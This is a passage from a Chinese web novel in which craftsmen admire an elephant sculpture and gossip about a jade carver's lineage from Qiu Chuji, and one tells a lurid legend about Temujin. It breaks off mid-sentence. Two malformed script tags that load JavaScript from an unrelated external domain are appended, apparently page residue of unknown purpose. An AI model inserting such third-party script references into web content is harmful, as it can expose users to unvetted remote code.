沈瑢记得亚洲象的母象是没有象牙的,那这些匠人是看见过非洲象?还是雕了头公象啊?说实话如果真是公象,这“父子情深”可是够别扭的,毕竟大象都是母系家族。
不过抛开这点不谈,这雕塑真的很不错,连大象的肌肉轮廓都准确地雕了出来,沈瑢看了都要点头赞叹。
旁边一个年轻匠人也露出羡慕神色:“李师傅这手艺真绝了。怎么就能雕得这般活灵活现……”
那位李师傅停下手里的活儿,捞起掖在腰间的旱烟锅,一边用火镰打火,一边略有些得意地道:“这手艺一则是练,一则要看。那肌肉骨骼筋脉走向皆有成法,我为雕这大象,当初可是特地去养象所当了半年的差,天天喂象,自然能雕得活。”
大概是看不上他太过得意,旁边另一个匠人有些阴阳地道:“要我说,人家柳师傅那手巧雕才是真有功夫。上回那块玉,颜色绿得可爱,却是丝丝缕缕地夹着黑,将作监花了大价钱却走了眼,刘少监脸都青了。还是柳师傅,硬是用那块玉雕了个竹林七贤,把那黑料都雕成竹子的阴影——啧啧,那真叫一个厉害,一块废料雕出仙品来了,亏人家怎么想的……”
他开始是在夸人,说到后头便有点酸溜溜的了:“人家是丘祖师爷一脉,这手艺就是不一样。雕的也是名贵玉料,进给宫里皇爷和娘娘们的。哪像咱们,就只跟这些石头打交道……”
李师傅黑了脸,那个羡慕的年轻匠人却没看出来,反而很好奇地问道:“怎么,柳师傅是丘祖师爷一脉?可是祖师爷不是出家了吗?”
那匠人也停了手下的活计,拿出自己的烟袋锅子来点上,摆出一副好好科普的模样:“祖师爷一脉,说的不是他的后人,是他亲收的徒弟。那玉雕行里个个都拜丘祖师爷,可真自祖师爷手里学过艺的也就那么几家,传到而今就更少了。柳师傅祖上,正经是出家拜在丘祖师门下的,只是后来还了俗——当年丘祖师去见铁木真,柳师傅的祖上就随侍的。嚯,那铁木真是好见的啊?据说他是九冥使者、天生杀神,所到之处见人即死,血流成河。丘祖师就为这个才去见他,要劝他收手止杀,少造杀孽。”
沈瑢听到这儿才有点明白——这说的丘祖师,敢情是长春真人丘处机啊!
年轻匠人听得一抖:“九冥使者?”
“可不是!”阴阳匠人这会儿也不阴阳怪气了,十分亢奋地一敲烟袋锅子,“那九冥使者是从黄泉血河里爬出来的,到人间来就是为九冥之神寻血肉祭品—
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">